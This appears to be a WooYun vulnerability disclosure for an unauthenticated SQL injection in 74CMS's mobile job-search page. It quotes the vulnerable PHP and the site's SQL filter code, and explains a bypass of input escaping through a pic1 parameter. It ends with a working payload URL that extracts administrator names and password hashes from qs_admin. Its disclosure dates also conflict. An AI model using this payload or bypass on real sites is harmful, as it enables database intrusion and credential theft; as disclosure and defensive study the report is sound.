当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(6) 关注此漏洞

缺陷编号: WooYun-2016-170292

漏洞标题: 74CMS无需登录注入/另类报错

相关厂商: 74cms.com

漏洞作者: 路人甲

提交时间: 2016-01-19 10:28

公开时间: 2015-12-26 16:56

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 11

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-19: 细节已通知厂商并且等待厂商处理中
2016-01-24: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-19: 细节向核心白帽子及相关领域专家公开
2016-03-29: 细节向普通白帽子公开
2016-04-08: 细节向实习白帽子公开
2015-12-26: 细节向公众公开

简要描述:

rt

详细说明:

74cms最新版



漏洞文件:/m/jobs-near-list.php



code 区域
elseif($act == 'ajaxjobsnearlist')
{
$district = intval($_GET['district'])==0?"":intval($_GET['district']);
$sdistrict = intval($_GET['sdistrict'])==0?"":intval($_GET['sdistrict']);
$trade = intval($_GET['trade'])==0?"":intval($_GET['trade']);
$topclass = intval($_GET['topclass'])==0?"":intval($_GET['topclass']);
$category = intval($_GET['category'])==0?"":intval($_GET['category']);
$subclass = intval($_GET['subclass'])==0?"":intval($_GET['subclass']);
$recommend = intval($_GET['recommend'])==0?"":intval($_GET['recommend']);
$emergency = intval($_GET['emergency'])==0?"":intval($_GET['emergency']);
$wage = intval($_GET['wage'])==0?"":intval($_GET['wage']);
$key = empty($_GET['key'])?"":iconv("UTF-8","GBK",$_GET['key']);
$settr = intval($_GET['settr'])==0?"":intval($_GET['settr']);
$education = intval($_GET['education'])==0?"":intval($_GET['education']);
$experience = intval($_GET['experience'])==0?"":intval($_GET['experience']);
$nature = intval($_GET['nature'])==0?"":intval($_GET['nature']);
$scale = intval($_GET['scale'])==0?"":intval($_GET['scale']);
$lng = trim($_GET['lng']);
$lat = trim($_GET['lat']);
$jobstable=table('jobs_search_key');
$rows = intval($_GET['rows'])>0 ? intval($_GET['rows']) : 5;
$offset = intval($_GET['offset'])>0 ? intval($_GET['offset']) : 0;

.............略
$idresult = $db->query("SELECT id , ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$lat."*PI()/180-map_y*PI()/180)/2),2)+COS(".$lat."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$lng."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM {$jobstable} {$wheresql} ORDER BY juli ASC LIMIT {$offset},{$rows}");
while($row = $db->fetch_array($idresult))
{
$id[]=$row['id'];
}
if (!empty($id))
{
$wheresql=" WHERE id IN (".implode(',',$id).") ";
$sql = "SELECT *, ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$lat."*PI()/180-map_y*PI()/180)/2),2)+COS(".$lat."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$lng."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM ".table('jobs').$wheresql." ORDER BY juli ASC , stick DESC , refreshtime DESC ";
$jobs_list = $db->getall($sql);
}
else
{
$jobs_list=array();
}
if(!empty($jobs_list) && $offset<=100)
{
foreach ($jobs_list as $key => $li)
{
$url = wap_url_rewrite("jobs-show",array("id"=>$li['id']));
$jobslisthtml.='<section class="jobs-item thisurl" url="'.$url.'">';
$ding = '';
if($li['stick']=="1")
{
$ding = '<span class="job-ding"></span><h3><a href="'.$url.'">'.$li["jobs_name"].'</a>';
}
else
{
$ding = '<h3><a href="'.$url.'">'.$li["jobs_name"].'</a>';
}
$emergency = '';
if($li['emergency']=="1")
{
$emergency = '<i class="ji-icon">¼±</i>';
}
$recommend = '';
if($li['recommend']=="1")
{
$recommend = '<i class="jian-icon">¼ö</i>';
}
$jobslisthtml.=$ding.$emergency.$recommend;
$jobslisthtml.='</h3>
<div class="jobs-add">'.$li["district_cn"].' | '.$li["companyname"].'</div>
<div class="pay-date clearfix">
<div class="money f-left">'.$li["wage_cn"].'</div>
<span class="f-right date">';
$juli = distancerange($li["juli"]);
$jobslisthtml.=$juli.'</span></div></section>';
}
exit($jobslisthtml);
}
else
{
exit('-1');
}





code 区域
$lng = trim($_GET['lng']);
$lat = trim($_GET['lat']);





code 区域
$idresult = $db->query("SELECT id , ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$lat."*PI()/180-map_y*PI()/180)/2),2)+COS(".$lat."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$lng."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM {$jobstable} {$wheresql} ORDER BY juli ASC   LIMIT {$offset},{$rows}");





2个参数直接进入查询





注入本身很简单 但是由于注入位置在于select和from之前 那么只能截断来注入

但是74cms本身的原因导致 没办法截断



code 区域
static function CheckSql($db_string,$querytype='select')
{
global $QS_pwdhash;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = QISHI_ROOT_PATH.'/data/'.md5($QS_pwdhash).'_safe.txt';
$userIP = getip();
$getUrl =request_url();
$time = date('Y-m-d H:i:s');
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\nSelectBreak\r\n===========\r\n");
exit("ÄúÊäÈëµÄÄÚÈݲ»·ûºÏÒªÇóÇëÕýÈ·ÊäÈ룡");
}
}
//ÍêÕûµÄSQL¼ì²é
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\n$error\r\n===========\r\n");
exit("ÄúÊäÈëµÄÄÚÈݲ»·ûºÏÒªÇóÇëÕýÈ·ÊäÈ룡");
}
else
{
return $db_string;
}
}





dede那个waf 对 # -- 都做了过滤

而且对于上面那种本身就没被单引号保护的注入来说 想要像以前那样bypass 要把注入语句构造在2个 单引号之间才能bypass

如何构造下面说



而最新版本 addslashes_deep函数 存在问题

code 区域
static function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
elseif(array_key_exists('pic1',$value) || array_key_exists('pic2',$value))
{
return $value;
}
else
{
if (!get_magic_quotes_gpc())
{
$value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value));
}
else
{
$value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value);
}
return $value;
}
}





code 区域
elseif(array_key_exists('pic1',$value) || array_key_exists('pic2',$value))
{
return $value;
}





全局文件下的GET POST的过滤就是引用这个函数

code 区域
if (!empty($_GET))
{
$_GET = help::addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = help::addslashes_deep($_POST);
}





那么我们只需在每次请求加上pic1或者pic2参数 都可以不经过addslashes_deep对于gpc的检验及转义



那么如果gpc本身是off的话 整个站都可以注入

而且也可以直接 `'`.``.id <sql> %23' bypass waf



之前这样提交都没上首页 接下来看怎么在gpc on下一样bypass waf



其实addslashes_deep的失效 还有个作用 让remove_xss()不起作用

而remove_xss 对union 或者select都做了检测



漏洞证明:

code 区域
http://**.**.**.**/m/jobs-near-list.php?act=ajaxjobsnearlist&pic1=1&lat=123xxxxxxxxxxxxxxxxx&lng=123yyyyyyyyyyyyyyyyyyyyyy





1.png





demo证明下有注入 但是demo有安全狗 还是本地出数据



而且还有个问题 qs_jobs_search_key库内是没数据的 如果查询不出数据 直接exit(-1)



而延时注入的 sleep benchmark 都被dede那个waf过滤了 而且是绕不过的



但是这个位置很巧妙



code 区域
$idresult = $db->query("SELECT id , ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$lat."*PI()/180-map_y*PI()/180)/2),2)+COS(".$lat."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$lng."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM {$jobstable} {$wheresql} ORDER BY juli ASC   LIMIT {$offset},{$rows}");
while($row = $db->fetch_array($idresult))
{
$id[]=$row['id'];
}
if (!empty($id))
{
$wheresql=" WHERE id IN (".implode(',',$id).") ";
$sql = "SELECT *, ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$lat."*PI()/180-map_y*PI()/180)/2),2)+COS(".$lat."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$lng."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM ".table('jobs').$wheresql." ORDER BY juli ASC , stick DESC , refreshtime DESC ";
$jobs_list = $db->getall($sql);
}





如果查询得出id 却可以进入下个查询

于是利用union select 强行查询出id

code 区域
$wheresql=" WHERE id IN (".implode(',',$id).") ";



查询出来的id 放入下个查询 如果查询出来我们要的管理员数据 然后到这个注入 让他出错的话 直接就可以出数据了



直接给payload吧...细讲要讲半天....



code 区域
**.**.**.**/74cms/m/jobs-near-list.php?act=ajaxjobsnearlist&pic1=1&lat=123123*PI()/180-map_y*PI()/180)/2),2)%2bCOS(321321*PI()/180)*COS(map_y*PI()/180)*POW(SIN((123123*PI()/180-map_x*PI()/180)/2),2)))*1000)  FROM qs_jobs_search_key   WHERE `'`.``.id=1  union select concat(0x27,concat(admin_name,pwd)),2 from qs_admin%23&lng=123&key='





QQ图片20160118214420.png





0x27 key的值是关键 不细讲了

修复方案:

addslashes_deep 函数的白名单问题

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-26 16:56

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

登录后才能发表评论,请先 登录